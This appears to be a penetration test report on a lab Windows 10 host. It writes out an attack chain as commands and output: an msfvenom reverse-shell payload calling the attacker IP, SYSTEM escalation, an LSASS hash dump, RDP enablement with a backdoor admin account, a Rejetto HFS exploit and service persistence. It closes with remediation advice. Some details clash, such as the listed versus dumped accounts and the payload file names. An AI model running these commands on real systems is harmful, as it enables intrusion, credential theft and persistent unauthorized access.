

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

PENETRATION TESTING REPORT

Full Attack Chain Simulation - Windows 10 Target

WARNING CLASSIFICATION: CONFIDENTIAL

This document contains sensitive security findings and is intended solely for authorized personnel involved in this engagement.

Report Date	May 16, 2026
Tester / Author	Md. Jipel Ahamed Arman
Target Host	DESKTOP-KPTS8DR
Target IP	192.168.247.131
Attacker IP	192.168.247.129 (Kali Linux)
Target OS	Windows 10 22H2+ (Build 19045)
Target Domain	WORKGROUP
Architecture	x64
Overall Risk	CRITICAL
Engagement Type	Internal Network Penetration Test

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

1. Executive Summary

This report presents the findings of a penetration test conducted against a Windows 10 workstation (DESKTOP-KPTS8DR, IP 192.168.247.131) within a local network environment. The test was performed from a Kali Linux attacker machine (192.168.247.129) and simulated a full end-to-end attack chain, from initial payload delivery to persistent access maintenance.

The engagement successfully demonstrated that an unauthenticated attacker with network access to the target could achieve complete system compromise (NT AUTHORITY\SYSTEM) through a combination of social engineering delivery, exploitation of a known vulnerability (CVE-2024-23692 in Rejetto HTTP File Server), and subsequent post-exploitation activities.

Attack Phase	Outcome
1. Payload Creation	✓ Meterpreter reverse shell (.exe) generated & served
2. Initial Access	Victim executed payload; session opened
3. Privilege Escalation	✓ SYSTEM-level access obtained (Named Pipe Impersonation)
4. Credential Harvesting	✓ NTLM hashes dumped from LSASS via process migration
5. Lateral Movement	✓ RDP enabled; new admin account created; CVE-2024-23692 exploited
6. Access Maintenance	✓ Persistent Meterpreter service implanted on target

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

2. Phase 1: Payload Creation

2.1 Overview

The first step of the engagement involved crafting a malicious Windows executable designed to establish a reverse shell back to the attacker machine. The Metasploit Framework tool msfvenom was used to generate the payload.

2.2 Technical Details

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=4444 -f exe -i 100 > malware.exe
```

Payload Type	windows/meterpreter/reverse_tcp
Output File	malware.exe
Listener IP (LHOST)	192.168.247.129
Listener Port (LPORT)	4444
Iterations (-i)	100 (encoding iterations for AV evasion)
Architecture	x86 (auto-selected)
Payload Size	354 bytes / 7,168 bytes (final.exe)

2.3 Delivery Mechanism

The generated executable was moved to the Apache web server root directory and served over HTTP, simulating a social engineering or drive-by download attack:

```
mv malware.exe /var/www/html
service apache2 start
```

2.4 Listener Configuration (Metasploit)

A Metasploit multi/handler listener was configured to receive the incoming reverse TCP connection once the victim executed the payload:

```
msfconsole -q
msf > use multi/handler
```

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

```
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
```

```
msf exploit(multi/handler) > set LHOST 192.168.247.129
```

```
msf exploit(multi/handler) > set LPORT 4444
```

```
msf exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 192.168.247.129:4444
```

Security Finding: The payload was generated without any commercial-grade obfuscation (raw msfvenom). Any modern EDR solution with behavioral analysis would likely detect this payload at execution. However, in environments lacking endpoint protection, this technique remains highly effective.

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

3. Phase 2: Privilege Escalation

3.1 Initial Session & System Reconnaissance

[*] Meterpreter session 1 opened (192.168.247.129:4444 -> 192.168.247.131:64626)
meterpreter > sysinfo

Computer: DESKTOP-KPTS8DR
OS: Windows 10 22H2+ (10.0 Build 19045)
Architecture: x64
System Language: en_US
Domain: WORKGROUP
Logged On Users: 2
Meterpreter: x86/windows

3.2 Privilege Analysis

The initial session ran with limited user privileges. The getprivs command confirmed that only standard user-level privileges were available, specifically excluding critical administrative privileges such as SeDebugPrivilege and SeTakeOwnershipPrivilege.

3.3 getsystem (First Attempt Failed)

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: All pipe instances are busy.
[-] Named Pipe Impersonation (In Memory/Admin) ... FAILED
[-] Named Pipe Impersonation (Dropper/Admin) ... FAILED
[-] Token Duplication (In Memory/Admin) ... FAILED
[-] Named Pipe Impersonation (RPCSS variant) ... FAILED
[-] Named Pipe Impersonation (PrintSpooler) ... FAILED
[-] Named Pipe Impersonation (EFSRPC/EfsPotato) ... FAILED

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

3.4 Token Abuse via Incognito Extension

The attacker loaded the Incognito extension to enumerate delegation tokens available in memory. An NT AUTHORITY\SYSTEM delegation token was discovered:

```
meterpreter > load incognito
meterpreter > list_tokens -u
Delegation Tokens Available:
DESKTOP-KPTS8DR\jipel
NT AUTHORITY\SYSTEM
```

3.5 getsystem (Second Attempt Successful)

A new session was opened (Session 2) with elevated context. The getsystem command then succeeded using Named Pipe Impersonation (In Memory/Admin), achieving NT AUTHORITY\SYSTEM:

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
C:\Windows\system32>ipconfig
IPv4 Address: 192.168.247.131
```

SEVERITY: CRITICAL	
Finding Title	Privilege Escalation to NT AUTHORITY\SYSTEM
Technique	Named Pipe Impersonation (In Memory/Admin)
Resulting Privilege	NT AUTHORITY\SYSTEM
Session	Session 2 x64/windows
CWE	CWE-269: Improper Privilege Management

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

4. Phase 3: Lateral Movement

4.1 Credential Harvesting - LSASS Process Migration & Hash Dump

With SYSTEM privileges, the attacker identified the LSASS process and migrated the Meterpreter agent into it:

```
meterpreter > ps -S lsass.exe
```

```
PID: 652 | User: NT AUTHORITY\SYSTEM
```

```
meterpreter > migrate 652
```

```
meterpreter > hashdump
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
jipel:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

4.2 Offline Password Cracking

The dumped NTLM hashes were subjected to offline dictionary attacks using John the Ripper and Hashcat.

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

SEVERITY: CRITICAL	
Finding Title	NTLM Hash Extraction from LSASS Memory
Method	Process migration to LSASS (PID 652) + hashdump
Accounts Compromised	Administrator, DefaultAccount, Guest, Shaifullah, WDAGUtilityAccount
Hash Format	NTLM (Windows NT Hash)
Cracking Tools	John the Ripper, Hashcat
CWE	CWE-522: Insufficiently Protected Credentials

4.3 Remote Desktop Protocol (RDP) Enablement

```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```

```
net user ifti pa$$w0rd /add  
net localgroup administrators ifti /add
```


PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

4.4 CVE-2024-23692: Rejetto HFS Unauthenticated RCE

The target was running Rejetto HTTP File Server (HFS) version 2.3m, vulnerable to CVE-2024-23692.

```
msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > exploit
[+] The target is vulnerable. Rejetto HFS version 2.3m
[*] Meterpreter session 3 opened
```

SEVERITY: CRITICAL	
Finding Title	CVE-2024-23692 Rejetto HFS Unauthenticated RCE
Affected Software	Rejetto HTTP File Server (HFS) v2.3m
Attack Vector	Network (no authentication required)
Resulting Access	Meterpreter session - full SYSTEM-level privileges
CVSS Score	9.8 (Critical)
CWE	CWE-94: Improper Control of Code Generation

PENETRATION TEST REPORT | CONFIDENTIAL | Target: DESKTOP-KPTS8DR (192.168.247.131)

5. Phase 4: Access Maintenance (Persistence)

5.2 Windows Service-Based Persistence

The Metasploit module exploit/windows/persistence/service was used to install a persistent Meterpreter payload.

Payload Location: C:\Windows\TEMP\flytjt.exe

6. Vulnerability Summary

#	Vulnerability	Severity	Impact
1	Meterpreter Reverse Shell Delivery	HIGH	Initial access; code execution
2	Privilege Escalation to SYSTEM	CRITICAL	Full OS takeover
3	LSASS Memory Dump & NTLM Extraction	CRITICAL	Credential compromise
4	CVE-2024-23692 Rejetto HFS RCE	CRITICAL	Unauthenticated shell
5	RDP Enabled & Backdoor Account	CRITICAL	Persistent admin GUI access
6	Windows Service Persistence Implant	CRITICAL	Reboot-surviving backdoor

7. Recommendations

- Patch or remove Rejetto HFS immediately (CVE-2024-23692).
- Isolate affected host (**DESKTOP-KPTS8DR**).
- Reset all credentials (Administrator, jipel).
- Delete backdoor account 'ifti'.
- Remove persistence payload (flytjt.exe).
- Deploy EDR and enable Credential Guard.

8. Appendix — Attack Timeline

Timestamp	Action	Result
2026-05-16 07:15	Victim executed payload	Meterpreter session 1 opened
2026-05-16 07:22	Incognito + getsystem	NT AUTHORITY\SYSTEM obtained
2026-05-16 08:10	Remmina RDP connection	Full GUI desktop access
2026-05-16 10:55	CVE-2024-23692 exploit	Second SYSTEM session
2026-05-16 11:30	Persistence deployed	Reboot-surviving backdoor